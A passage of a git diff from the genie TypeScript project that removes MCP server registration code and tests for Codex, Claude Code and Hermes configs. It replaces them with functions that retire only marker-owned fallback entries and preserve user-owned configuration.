'utf8')).not.toContain('GENIE MCP FALLBACK'); - }); - - test('unverified unmanaged fallback aborts planning before any sibling config is written', () => { - mkdirSync(join(root, '.codex'), { recursive: true }); - const original = '[mcp_servers.genie]\ncommand = "/personal"\nargs = ["mcp"]\n'; - writeFileSync(join(root, '.codex', 'config.toml'), original); - expect(() => - registerProjectMcpConfigs(root, { - pluginProbe: disabled, - entry: { command: '/absolute/genie', args: ['mcp'] }, - }), - ).toThrow(/preserved.*unverified|unverified.*usable/i); - expect(readFileSync(join(root, '.codex', 'config.toml'), 'utf8')).toBe(original); - expect(existsSync(join(root, '.mcp.json'))).toBe(false); - }); - - test('rejects file and parent-directory symlinks for every project MCP target', () => { - if (process.platform === 'win32') return; - const cases = [ - { target: '.mcp.json', parentLink: false }, - { target: join('.codex', 'config.toml'), parentLink: false }, - { target: join('.codex', 'config.toml'), parentLink: true }, +describe('shipped plugin payload', () => { + test('contains no Genie-owned MCP route, capability, launcher, or server', () => { + const plugin = join(import.meta.dir, '..', '..', 'plugins', 'genie'); + const manifests = [ + join(plugin, '.codex-plugin', 'plugin.json'), + join(plugin, '.claude-plugin', 'plugin.json'), + join(plugin, '.kimi-plugin', 'plugin.json'), + join(plugin, 'orca-plugin.json'), ]; - for (const [index, fixture] of cases.entries()) { - const project = join(root, `symlink-case-${index}`); - const external = join(root, `external-${index}`); - mkdirSync(project, { recursive: true }); - mkdirSync(external, { recursive: true }); - const target = join(project, fixture.target); - if (fixture.parentLink) { - symlinkSync(external, dirname(target), 'dir'); - } else { - mkdirSync(dirname(target), { recursive: true }); - const externalFile = join(external, 'config'); - writeFileSync(externalFile, 'external-safe'); - symlinkSync(externalFile, target); - } - - expect(() => - registerProjectMcpConfigs(project, { - pluginProbe: disabled, - entry: { command: '/g', args: ['mcp'] }, - }), - ).toThrow(/physical|unsafe|symlink/i); - expect(existsSync(join(project, '.mcp.json')) && !fixture.target.endsWith('.mcp.json')).toBe(false); - if (!fixture.parentLink) expect(readFileSync(join(external, 'config'), 'utf8')).toBe('external-safe'); + for (const path of manifests) { + const text = readFileSync(path, 'utf8'); + expect(text).not.toContain('mcpServers'); + expect(text).not.toContain('mcp-launcher'); } + expect(existsSync(join(plugin, '.mcp.json'))).toBe(false); + expect(existsSync(join(plugin, 'scripts', 'mcp-launcher.cjs'))).toBe(false); }); }); diff --git a/src/lib/codex-project-mcp.ts b/src/lib/codex-project-mcp.ts index a629a100a..64306ae63 100644 --- a/src/lib/codex-project-mcp.ts +++ b/src/lib/codex-project-mcp.ts @@ -1,13 +1,6 @@ /** - * Project-scoped MCP lifecycle for Codex and Claude Code. - * - * Codex has one supported route to Genie's stdio MCP server: the marker-owned - * `<worktree>/.codex/config.toml` entry. The enabled `genie@automagik` plugin - * deliberately declares no MCP server. - * - * This module is the sole owner of reconciling and inspecting that route. Its - * legacy route-classification helpers remain fail-closed for older installed - * payloads, but production init/setup always retain the stable absolute facade. + * Read-only Codex plugin discovery plus retirement of historical project MCP + * registrations. No API in this module can create or revive a Genie route. */ import { execFileSync } from 'node:child_process'; @@ -33,11 +26,6 @@ import { resolveTrustedExecutable, validateTrustedExecutablePath } from './trust export type ArtifactAction = 'created' | 'updated' | 'skipped'; -export interface McpServerEntry { - command: string; - args: string[]; -} - export interface McpConfigResult { path: string; action: ArtifactAction; @@ -116,27 +104,8 @@ export interface CodexPluginMcpUsabilityOptions { cwd?: string; } -export interface RegisterProjectMcpOptions { - /** Reuse a caller's one-shot probe so a multi-target reconciliation queries Codex once. */ - pluginProbe?: CodexPluginProbe; - probeDeps?: CodexPluginProbeDeps; - /** Command written to the Claude Code JSON config (`.mcp.json`). */ - entry?: McpServerEntry; - /** - * Dedicated command for the marker-owned Codex `.codex/config.toml` route. - * Defaults to {@link RegisterProjectMcpOptions.entry}. Trusted `genie init` - * passes the stable {@link genieFacadeMcpEntry} facade here so the Codex marker - * uses the version-independent `<GENIE_HOME>/bin/genie` command even while - * Claude Code keeps the running-executable entry. - */ - codexEntry?: McpServerEntry; - /** - * Reconcile the marker-owned Codex route INDEPENDENT of plugin/delivery state - * (trusted `genie init`). A route name is not proof of ownership, so an - * unmanaged same-key route is still preserved and reported rather than - * overwritten. - */ - forceCodexFallback?: boolean; +export interface RetireProjectMcpOptions { + readonly retirementOnly?: true; } export interface GitProjectRoots { @@ -147,7 +116,6 @@ export interface GitProjectRoots { } const DEFAULT_PROBE_TIMEOUT_MS = 3_000; -const MCP_WRAPPER_KEYS = ['mcpServers', 'mcp_servers', 'servers'] as const; const FALLBACK_BEGIN = '# BEGIN GENIE MCP FALLBACK'; const FALLBACK_END = '# END GENIE MCP FALLBACK'; const GENIE_PLUGIN_ID = 'genie@automagik'; @@ -611,105 +579,13 @@ export function probeCodexGeniePlugin(deps: CodexPluginProbeDeps = {}): CodexPlu } } -function interpretedGenieEntry(argv: string[]): string | null { - const candidate = argv[1]; - if (!candidate || !isAbsolute(candidate)) return null; - try { - const stat = lstatSync(candidate); - if (!stat.isFile() || stat.isSymbolicLink()) return null; - return realpathSync(candidate); - } catch { - // Compiled binaries receive the first CLI argument in argv[1], not a script. - return null; - } -} - -/** - * The absolute stdio entry used by all project-scoped clients. A compiled Bun - * executable directly receives `mcp`; an interpreted source/dist invocation - * records both the absolute Bun executable and absolute entry script. - */ -export function genieMcpEntry(command?: string, argv = process.argv): McpServerEntry { - if (command !== undefined) return { command, args: ['mcp'] }; - const executable = realpathSync(process.execPath); - const script = interpretedGenieEntry(argv); - return { command: executable, args: script ? [script, 'mcp'] : ['mcp'] }; -} - -/** - * The stable marker-owned Codex route command: the canonical absolute - * `<GENIE_HOME>/bin/genie` facade with `args = ["mcp"]` and NO effective cwd - * override. Unlike {@link genieMcpEntry} (which records the running executable - * for Claude Code), this facade path is deliberately version- and - * plugin-independent: it survives plugin updates and symlinked invocation, and - * is rewritten only by trusted `genie init` after an explicit GENIE_HOME - * relocation. It never resolves to a versioned plugin-cache path. - */ -export function genieFacadeMcpEntry( - genieHome: string = resolveGenieHome(), - platform: NodeJS.Platform = process.platform, -): McpServerEntry { - return { command: join(genieHome, 'bin', platform === 'win32' ? 'genie.exe' : 'genie'), args: ['mcp'] }; -} - function isJsonObject(value: unknown): value is JsonObject { return typeof value === 'object' && value !== null && !Array.isArray(value); } -function parseMcpConfig(raw: string | null, path: string): JsonObject { - if (raw === null || raw.trim() === '') return {}; - let parsed: unknown; - try { - parsed = JSON.parse(raw); - } catch { - throw new Error(`Cannot register genie MCP server: ${path} is not valid JSON.`); - } - if (!isJsonObject(parsed)) { - throw new Error(`Cannot register genie MCP server: ${path} must contain a JSON object.`); - } - return parsed; -} - -/** - * Locate an existing server map without overwriting wrong-shaped valid JSON. - * A known wrapper key with an array/string/null is a configuration error, not - * an invitation to replace user data with a new object. - */ -function locateServerMap(config: JsonObject, path: string): JsonObject { - for (const key of MCP_WRAPPER_KEYS) { - if (!(key in config)) continue; - const existing = config[key]; - if (!isJsonObject(existing)) { - throw new Error(`Cannot register genie MCP server: ${path} field ${JSON.stringify(key)} must be an object.`); - } - return existing; - } - - if ('mcp' in config) { - if (!isJsonObject(config.mcp)) { - throw new Error(`Cannot register genie MCP server: ${path} field "mcp" must be an object.`); - } - if ('servers' in config.mcp) { - if (!isJsonObject(config.mcp.servers)) { - throw new Error(`Cannot register genie MCP server: ${path} field "mcp.servers" must be an object.`); - } - return config.mcp.servers; - } - } - - const created: JsonObject = {}; - config.mcpServers = created; - return created; -} - -function prepareJsonMcpConfig(configPath: string, entry: McpServerEntry): PreparedWrite { +function preparePreservedJsonMcpConfig(configPath: string): PreparedWrite { assertSafeProjectConfigPath(configProjectRoot(configPath), configPath); - const raw = existsSync(configPath) ? readFileSync(configPath, 'utf8') : null; - const config = parseMcpConfig(raw, configPath); - locateServerMap(config, configPath).genie = entry; - const content = `${JSON.stringify(config, null, 2)}\n`; - if (raw === content) return { path: configPath, action: 'skipped' }; - return { path: configPath, action: raw === null ? 'created' : 'updated', content }; + return { path: configPath, action: 'skipped', detail: 'unmarked .mcp.json is always user-owned and preserved' }; } function applyPreparedWrite(prepared: PreparedWrite, root = configProjectRoot(prepared.path)): McpConfigResult { @@ -750,6 +626,14 @@ function fallbackBounds(raw: string, path: string): { start: number; end: number ); } if (start < 0) return null; + if ( + raw.indexOf(FALLBACK_BEGIN, start + FALLBACK_BEGIN.length) >= 0 || + raw.indexOf(FALLBACK_END, endMarker + FALLBACK_END.length) >= 0 + ) { + throw new Error( + `Cannot reconcile genie MCP server: ${path} has duplicate ${FALLBACK_BEGIN}/${FALLBACK_END} blocks. Repair or remove those marker blocks and retry.`, + ); + } let end = endMarker + FALLBACK_END.length; // The generated block owns its line ending and one blank separator. Include // those bytes in the marker bounds so update/remove is byte-idempotent and @@ -777,10 +661,6 @@ function hasUnmanagedFallback(raw: string, owned: { start: number; end: number } return isJsonObject(parsed.mcp_servers) && Object.hasOwn(parsed.mcp_servers, GENIE_PLUGIN_NAME); } -function fallbackBlock(entry: McpServerEntry): string { - return `${FALLBACK_BEGIN}\nmcp_servers.genie.command = ${JSON.stringify(entry.command)}\nmcp_servers.genie.args = ${JSON.stringify(entry.args)}\n${FALLBACK_END}`; -} - function removeOwnedFallback(raw: string, owned: { start: number; end: number }): string { return `${raw.slice(0, owned.start)}${raw.slice(owned.end)}`; } @@ -821,86 +701,17 @@ function assertNonGenieTomlSemantics(raw: string, next: string, path: string): v } } -function prepareCodexFallback( - configPath: string, - entry: McpServerEntry, - required: boolean, -): CodexProjectMcpResult & { - content?: string; -} { +/** Remove only the marker-owned Codex fallback. */ +export function removeCodexMcpFallback(configPath: string): ArtifactAction { assertSafeProjectConfigPath(configProjectRoot(configPath), configPath); - const exists = existsSync(configPath); - const raw = exists ? readFileSync(configPath, 'utf8') : ''; + if (!existsSync(configPath)) return 'skipped'; + const raw = readFileSync(configPath, 'utf8'); const owned = fallbackBounds(raw, configPath); - const unmanaged = hasUnmanagedFallback(raw, owned); - - if (!required) { - if (unmanaged) { - return { - path: configPath, - action: 'skipped', - ok: false, - route: 'conflict', - detail: - 'enabled plugin and an unmanaged [mcp_servers.genie] entry are both present; remove one manually to avoid duplicate routing', - }; - } - if (owned === null) { - return { path: configPath, action: 'skipped', ok: true, route: 'plugin', detail: 'enabled plugin' }; - } - const content = removeOwnedFallback(raw, owned); - assertNonGenieTomlSemantics(raw, content, configPath); - return { - path: configPath, - action: 'updated', - ok: true, - route: 'plugin', - detail: 'enabled plugin; removed marker-owned project fallback', - content, - }; - } - - if (unmanaged) { - return { - path: configPath, - action: 'skipped', - ok: false, - route: 'unmanaged-fallback', - detail: - 'preserved user-owned [mcp_servers.genie] fallback byte-for-byte, but its command is unverified; cannot claim a usable Genie MCP route', - }; - } - - const block = fallbackBlock(entry); - const unowned = owned === null ? raw : removeOwnedFallback(raw, owned); - const content = unowned.length === 0 ? `${block}\n` : `${block}\n\n${unowned}`; + if (owned === null) return 'skipped'; + const content = removeOwnedFallback(raw, owned); assertNonGenieTomlSemantics(raw, content, configPath); - if (content === raw) { - return { path: configPath, action: 'skipped', ok: true, route: 'fallback', detail: 'project fallback current' }; - } - return { - path: configPath, - action: exists ? 'updated' : 'created', - ok: true, - route: 'fallback', - detail: 'project fallback active', - content, - }; -} - -/** Merge only the marker-owned Codex fallback. Kept exported for migration callers/tests. */ -export function mergeCodexMcpFallback(configPath: string, entry: McpServerEntry): ArtifactAction { - const prepared = prepareCodexFallback(configPath, entry, true); - if ('content' in prepared && prepared.content !== undefined) applyPreparedWrite(prepared); - return prepared.action; -} - -/** Remove only the marker-owned Codex fallback. */ -export function removeCodexMcpFallback(configPath: string): ArtifactAction { - const prepared = prepareCodexFallback(configPath, genieMcpEntry(), false); - if (prepared.route === 'conflict') return 'skipped'; - if ('content' in prepared && prepared.content !== undefined) applyPreparedWrite(prepared); - return prepared.action; + applyPreparedWrite({ path: configPath, action: 'updated', content }); + return 'updated'; } /** Read-only route inspection used by doctor. */ @@ -957,72 +768,15 @@ export function inspectCodexProjectMcp(root: string, plugin: CodexPluginProbe): }; } -/** - * Refuse an install/enable mutation when it would collide with a user-owned - * project registration. Marker-owned state is safe for reconciliation; an - * unmanaged `[mcp_servers.genie]` entry is preserved byte-for-byte. - */ -export function preflightCodexPluginMutation(root: string): { ok: boolean; path: string; detail: string } { - const path = join(root, '.codex', 'config.toml'); - try { - assertSafeProjectConfigPath(root, path); - const raw = existsSync(path) ? readFileSync(path, 'utf8') : ''; - const owned = fallbackBounds(raw, path); - if (hasUnmanagedFallback(raw, owned)) { - return { - ok: false, - path, - detail: - 'user-owned [mcp_servers.genie] fallback is present; refusing to install or enable the plugin because that would create duplicate routing', - }; - } - return { ok: true, path, detail: 'no unmanaged Genie MCP fallback' }; - } catch (error) { - return { ok: false, path, detail: error instanceof Error ? error.message : String(error) }; - } -} - -/** - * Reconcile the Codex route at an already-resolved worktree root. - * Query failures fail safe to the absolute project fallback. - */ -export function reconcileCodexProjectMcp( - root: string, - plugin: CodexPluginProbe, - entry = genieMcpEntry(), -): CodexProjectMcpResult { - const path = join(root, '.codex', 'config.toml'); - const effectivePlugin = isUsableCodexPlugin(plugin); - const prepared = prepareCodexFallback(path, entry, !effectivePlugin); - if ('content' in prepared && prepared.content !== undefined) applyPreparedWrite(prepared); - return prepared; -} - -/** - * Register the shared stdio entry for Claude Code, then reconcile exactly one - * Codex route. All files are parsed before any write, so valid-but-wrong-shaped - * JSON cannot leave one sibling config partially updated. - */ -export function registerProjectMcpConfigs(root: string, options: RegisterProjectMcpOptions = {}): McpConfigResult[] { - const entry = options.entry ?? genieMcpEntry(); - const codexEntry = options.codexEntry ?? entry; - const preparedJson = [join(root, '.mcp.json')].map((path) => prepareJsonMcpConfig(path, entry)); - // Trusted init reconciles the marker-owned Codex route independent of plugin - // state (`forceCodexFallback`) — the `||` short-circuits so a forced call never - // spends a Codex query. Otherwise the marker is retained only when no usable - // plugin is proven. Either way an unowned same-key route is preserved. - const required = - options.forceCodexFallback === true || - !isUsableCodexPlugin(options.pluginProbe ?? probeCodexGeniePlugin(options.probeDeps)); - const preparedCodex = prepareCodexFallback(join(root, '.codex', 'config.toml'), codexEntry, required); - - if (!preparedCodex.ok) { - throw new Error(`Cannot reconcile Codex project MCP at ${preparedCodex.path}: ${preparedCodex.detail}`); - } - - // Parsing/planning above is intentionally complete before the first write. - const results = preparedJson.map((prepared) => applyPreparedWrite(prepared, root)); - if ('content' in preparedCodex && preparedCodex.content !== undefined) applyPreparedWrite(preparedCodex); - results.push({ path: preparedCodex.path, action: preparedCodex.action, detail: preparedCodex.detail }); +/** Preserve `.mcp.json`; retire only the marker-owned Codex fallback. */ +export function retireProjectMcpConfigs(root: string, _options: RetireProjectMcpOptions = {}): McpConfigResult[] { + const json = preparePreservedJsonMcpConfig(join(root, '.mcp.json')); + const results = [applyPreparedWrite(json, root)]; + const codexPath = join(root, '.codex', 'config.toml'); + results.push({ + path: codexPath, + action: removeCodexMcpFallback(codexPath), + detail: 'retired marker-owned project registration', + }); return results; } diff --git a/src/lib/hermes-mcp-config.test.ts b/src/lib/hermes-mcp-config.test.ts index 2e24c08f9..407979d83 100644 --- a/src/lib/hermes-mcp-config.test.ts +++ b/src/lib/hermes-mcp-config.test.ts @@ -1,556 +1,30 @@ import { afterEach, describe, expect, test } from 'bun:test'; -import { existsSync, mkdtempSync, readFileSync, readdirSync, rmSync, writeFileSync } from 'node:fs'; +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; -import { - HermesConfigError, - hasDuplicateMcpGenieKeys, - mergeMcpServersGenie, - resolveGenieBinaryPath, -} from './hermes-mcp-config.js'; +import { hasDuplicateMcpGenieKeys, retireMcpServersGenie } from './hermes-mcp-config.js'; const roots: string[] = []; afterEach(() => { for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); }); -function tmp(): string { - const root = mkdtempSync(join(tmpdir(), 'hermes-mcp-')); - roots.push(root); - return root; -} - -/** Absolute binary path good enough for the merge under test. */ -function bin(root: string): string { - return join(root, 'bin', 'genie'); -} - -/** True when a `<config>.genie-backup-*` sibling exists in the dir. */ -function hasBackup(root: string): boolean { - return readdirSync(root).some((f) => f.includes('genie-backup')); -} - -describe('resolveGenieBinaryPath', () => { - test('rejects an empty binary path with a typed error', () => { - const root = tmp(); - expect(() => resolveGenieBinaryPath({ binaryPath: '', genieHome: root, fsExists: () => false })).toThrow( - HermesConfigError, +describe('Hermes MCP retirement', () => { + test('removes only the owned marker block and preserves unrelated bytes', () => { + const root = mkdtempSync(join(tmpdir(), 'hermes-mcp-retire-')); + roots.push(root); + const path = join(root, 'config.yaml'); + writeFileSync( + path, + 'before: true\nmcp_servers:\n # genie:managed:mcp_servers.genie — begin (managed by genie; edit via genie only)\n genie:\n command: /old/genie\n # genie:managed:mcp_servers.genie — end\n other:\n command: keep\nafter: true\n', ); + expect(retireMcpServersGenie({ configPath: path, now: new Date('2026-08-29T00:00:00Z') }).status).toBe('updated'); + expect(readFileSync(path, 'utf8')).toBe('before: true\nmcp_servers:\n other:\n command: keep\nafter: true\n'); + expect(retireMcpServersGenie({ configPath: path }).status).toBe('unchanged'); }); - test('rejects a relative binary path with a typed error', () => { - const root = tmp(); - expect(() => resolveGenieBinaryPath({ binaryPath: 'bin/genie', genieHome: root, fsExists: () => false })).toThrow( - HermesConfigError, - ); - }); - - test('prefers the absolute $GENIE_HOME/bin/genie when present, over an explicit override', () => { - const root = tmp(); - const preferred = join(root, 'bin', 'genie'); - const resolved = resolveGenieBinaryPath({ - binaryPath: '/some/other/abs/genie', - genieHome: root, - fsExists: (p) => p === preferred, - }); - expect(resolved).toBe(preferred); - }); - - test('falls back to an explicit absolute override when $GENIE_HOME/bin/genie is absent', () => { - const root = tmp(); - const resolved = resolveGenieBinaryPath({ - binaryPath: '/opt/genie/bin/genie', - genieHome: root, - fsExists: () => false, - }); - expect(resolved).toBe('/opt/genie/bin/genie'); - }); - - test('throws when nothing resolves to an absolute binary', () => { - const root = tmp(); - expect(() => resolveGenieBinaryPath({ genieHome: root, fsExists: () => false })).toThrow(HermesConfigError); - }); -}); - -describe('mergeMcpServersGenie', () => { - test('missing config.yaml → creates a minimal file with only mcp_servers.genie', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const result = mergeMcpServersGenie({ configPath, binaryPath: bin(root), genieHome: root, fsExists: () => false }); - - expect(result.status).toBe('created'); - expect(result.backupPath).toBeUndefined(); - expect(existsSync(configPath)).toBe(true); - - const parsed = Bun.YAML.parse(readFileSync(configPath, 'utf8')) as { - mcp_servers: { genie: { command: string; args: string[] } }; - }; - expect(Object.keys(parsed)).toEqual(['mcp_servers']); - expect(Object.keys(parsed.mcp_servers)).toEqual(['genie']); - expect(parsed.mcp_servers.genie.command).toBe(bin(root)); - expect(parsed.mcp_servers.genie.args).toEqual(['mcp']); - }); - - test('empty binary path is rejected with a typed error and writes nothing', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - expect(() => mergeMcpServersGenie({ configPath, binaryPath: '', genieHome: root, fsExists: () => false })).toThrow( - HermesConfigError, - ); - expect(existsSync(configPath)).toBe(false); - }); - - test('preserves unrelated top-level keys byte-for-byte when appending mcp_servers', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = 'version: 1\nproviders:\n openai:\n api_key: "sk-secret" # do not touch\nlog_level: debug\n'; - writeFileSync(configPath, original); - - const result = mergeMcpServersGenie({ configPath, binaryPath: bin(root), genieHome: root, fsExists: () => false }); - expect(result.status).toBe('created'); - - const after = readFileSync(configPath, 'utf8'); - // Every original byte survives verbatim as a prefix; only mcp_servers is appended. - expect(after.startsWith(original)).toBe(true); - - const parsed = Bun.YAML.parse(after) as { - version: number; - providers: { openai: { api_key: string } }; - log_level: string; - mcp_servers: { genie: { command: string } }; - }; - expect(parsed.version).toBe(1); - expect(parsed.providers.openai.api_key).toBe('sk-secret'); - expect(parsed.log_level).toBe('debug'); - expect(parsed.mcp_servers.genie.command).toBe(bin(root)); - }); - - test('existing mcp_servers.genie with the same command → no write, file unchanged, no backup', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - const original = `mcp_servers:\n genie:\n command: ${JSON.stringify(command)}\n args:\n - mcp\n`; - writeFileSync(configPath, original); - - const result = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(result.status).toBe('unchanged'); - expect(result.backupPath).toBeUndefined(); - expect(readFileSync(configPath, 'utf8')).toBe(original); - // No backup files were created. - expect(existsSync(`${configPath}`)).toBe(true); - }); - - test('existing different genie entry → updates only that entry, backs up first, keeps siblings', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = - 'mcp_servers:\n' + - ' other:\n' + - ' command: /usr/bin/other\n' + - ' args:\n' + - ' - serve\n' + - ' genie:\n' + - ' command: /old/stale/genie\n' + - ' args:\n' + - ' - mcp\n' + - 'telemetry:\n' + - ' enabled: true\n'; - writeFileSync(configPath, original); - - const command = bin(root); - const result = mergeMcpServersGenie({ - configPath, - binaryPath: command, - genieHome: root, - fsExists: () => false, - now: new Date('2026-07-12T00:00:00Z'), - }); - - expect(result.status).toBe('updated'); - expect(result.backupPath).toBeDefined(); - // Backup captured the original bytes before mutation. - expect(readFileSync(result.backupPath as string, 'utf8')).toBe(original); - - const parsed = Bun.YAML.parse(readFileSync(configPath, 'utf8')) as { - mcp_servers: { other: { command: string; args: string[] }; genie: { command: string; args: string[] } }; - telemetry: { enabled: boolean }; - }; - // genie updated to the resolved command. - expect(parsed.mcp_servers.genie.command).toBe(command); - expect(parsed.mcp_servers.genie.args).toEqual(['mcp']); - // Sibling server and unrelated top-level key preserved — never deleted. - expect(parsed.mcp_servers.other).toEqual({ command: '/usr/bin/other', args: ['serve'] }); - expect(parsed.telemetry).toEqual({ enabled: true }); - }); - - test('is idempotent: a second merge after an update is a no-op unchanged', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - writeFileSync(configPath, 'mcp_servers:\n genie:\n command: /old/genie\n args:\n - mcp\n'); - const command = bin(root); - - const first = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(first.status).toBe('updated'); - const afterFirst = readFileSync(configPath, 'utf8'); - - const second = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(second.status).toBe('unchanged'); - expect(second.backupPath).toBeUndefined(); - expect(readFileSync(configPath, 'utf8')).toBe(afterFirst); - }); - - // A top-level `mcp_servers:` carrying an inline/flow/scalar value on the same line - // is refused with a typed error rather than blindly appending a duplicate top-level - // key (which produced spec-invalid duplicate-key YAML, or silently deleted user - // siblings on last-wins). The refusal happens before any backup or write. - test('empty flow `mcp_servers: {}` → typed error, nothing written, no backup', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = 'version: 1\nmcp_servers: {}\n'; - writeFileSync(configPath, original); - - expect(() => - mergeMcpServersGenie({ configPath, binaryPath: bin(root), genieHome: root, fsExists: () => false }), - ).toThrow(HermesConfigError); - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); - - test('flow-with-content is refused cleanly — user sibling survives verbatim, backup untouched', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = 'mcp_servers: {other: {command: /usr/bin/other, args: [serve]}}\n'; - writeFileSync(configPath, original); - - expect(() => - mergeMcpServersGenie({ configPath, binaryPath: bin(root), genieHome: root, fsExists: () => false }), - ).toThrow(HermesConfigError); - // The user's sibling server is never deleted: the file is left byte-for-byte. - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); - - test('scalar/null on the same line `mcp_servers: null` → typed error, nothing written', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = 'mcp_servers: null\n'; - writeFileSync(configPath, original); - - expect(() => - mergeMcpServersGenie({ configPath, binaryPath: bin(root), genieHome: root, fsExists: () => false }), - ).toThrow(HermesConfigError); - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); - - test('refusal is idempotent: a repeated call still throws and never writes or backs up', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = 'mcp_servers: {}\n'; - writeFileSync(configPath, original); - - for (let i = 0; i < 2; i++) { - expect(() => - mergeMcpServersGenie({ configPath, binaryPath: bin(root), genieHome: root, fsExists: () => false }), - ).toThrow(HermesConfigError); - } - expect(readFileSync(configPath, 'utf8')).toBe(original); - expect(hasBackup(root)).toBe(false); - }); - - test('optional env.GENIE_HOME is emitted when requested', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const result = mergeMcpServersGenie({ - configPath, - binaryPath: bin(root), - genieHome: root, - fsExists: () => false, - includeGenieHomeEnv: true, - }); - expect(result.entry.env).toEqual({ GENIE_HOME: root }); - const parsed = Bun.YAML.parse(readFileSync(configPath, 'utf8')) as { - mcp_servers: { genie: { env: { GENIE_HOME: string } } }; - }; - expect(parsed.mcp_servers.genie.env.GENIE_HOME).toBe(root); - }); - - // A YAML comment is valid at ANY indentation, including one deeper than the - // real children. Before the fix, `childIndentOf` picked the comment's indent - // as the block's child indent, `findChildRange` then missed the real `genie`/ - // sibling lines at the true indent, and a duplicate mis-indented `genie` block - // was appended — producing output `Bun.YAML.parse` rejects. These cases lock - // that class of bug down for good. - describe('comment-line indentation (regression)', () => { - test('repro: comment deeper-indented than the real sibling child still merges cleanly, output parses', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = 'mcp_servers:\n # my servers\n other:\n command: x\n'; - writeFileSync(configPath, original); - - const result = mergeMcpServersGenie({ - configPath, - binaryPath: bin(root), - genieHome: root, - fsExists: () => false, - }); - expect(result.status).toBe('created'); - - const text = readFileSync(configPath, 'utf8'); - // Exactly one genie child — no duplicate mis-indented append. - expect(text.match(/^\s*genie:\s*$/gm)?.length).toBe(1); - expect(text).toContain(' # my servers\n'); - - const parsed = Bun.YAML.parse(text) as { - mcp_servers: { other: { command: string }; genie: { command: string } }; - }; - expect(parsed.mcp_servers.other.command).toBe('x'); - expect(parsed.mcp_servers.genie.command).toBe(bin(root)); - }); - - test('comment at a smaller indent than the genie child is skipped when deriving child indent', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = - 'mcp_servers:\n# top-level-ish comment\n genie:\n command: /old/genie\n args:\n - mcp\n'; - writeFileSync(configPath, original); - - const command = bin(root); - const result = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(result.status).toBe('updated'); - - const text = readFileSync(configPath, 'utf8'); - expect(text.match(/^\s*genie:\s*$/gm)?.length).toBe(1); - - const parsed = Bun.YAML.parse(text) as { mcp_servers: { genie: { command: string } } }; - expect(parsed.mcp_servers.genie.command).toBe(command); - }); - - test('a comment sitting between the genie child and a later sibling does not swallow the sibling', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = - 'mcp_servers:\n' + - ' genie:\n' + - ' command: /old/genie\n' + - ' args:\n' + - ' - mcp\n' + - ' # comment between children\n' + - ' other:\n' + - ' command: /usr/bin/other\n'; - writeFileSync(configPath, original); - - const command = bin(root); - const result = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(result.status).toBe('updated'); - - const text = readFileSync(configPath, 'utf8'); - expect(text).toContain(' # comment between children\n'); - - const parsed = Bun.YAML.parse(text) as { - mcp_servers: { genie: { command: string }; other: { command: string } }; - }; - expect(parsed.mcp_servers.genie.command).toBe(command); - expect(parsed.mcp_servers.other.command).toBe('/usr/bin/other'); - }); - - test('a comment-only mcp_servers body (no real children yet) still derives a sane child indent and merges cleanly', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const original = 'mcp_servers:\n # nothing configured yet\nother: 1\n'; - writeFileSync(configPath, original); - - const result = mergeMcpServersGenie({ - configPath, - binaryPath: bin(root), - genieHome: root, - fsExists: () => false, - }); - expect(result.status).toBe('created'); - - const text = readFileSync(configPath, 'utf8'); - const parsed = Bun.YAML.parse(text) as { mcp_servers: { genie: { command: string } }; other: number }; - expect(parsed.mcp_servers.genie.command).toBe(bin(root)); - expect(parsed.other).toBe(1); - }); - - test('repro layout is idempotent: a second merge is unchanged and stays parseable', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - writeFileSync(configPath, 'mcp_servers:\n # my servers\n other:\n command: x\n'); - const command = bin(root); - - const first = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(first.status).toBe('created'); - const afterFirst = readFileSync(configPath, 'utf8'); - Bun.YAML.parse(afterFirst); // still parses - - const second = mergeMcpServersGenie({ configPath, binaryPath: command, genieHome: root, fsExists: () => false }); - expect(second.status).toBe('unchanged'); - expect(readFileSync(configPath, 'utf8')).toBe(afterFirst); - }); - }); -}); - -describe('DF-1: duplicate mcp_servers.genie key repair', () => { - const markerBegin = ' # genie:managed:mcp_servers.genie — begin (managed by genie; edit via genie only)'; - const markerEnd = ' # genie:managed:mcp_servers.genie — end'; - const managedBlock = (command: string) => - `${markerBegin}\n genie:\n command: ${JSON.stringify(command)}\n args:\n - mcp\n${markerEnd}\n`; - - test('an empty stray unmarked genie: key alongside the marker-wrapped region repairs to ONE entry, parseable, backup written', () => { - const root = tmp(); - const configPath = join(root, 'config.yaml'); - const command = bin(root); - // An earlier buggy release left a bare `genie:` header with nothing under it, - // alongside the current marker-wrapped managed region — spec-invalid - // duplicate-key YAML that last-wins parsing hides. - const original = `mcp_servers:\n genie:\n${managedBlock(command)}`; - writeFileSync(configPath, original); - 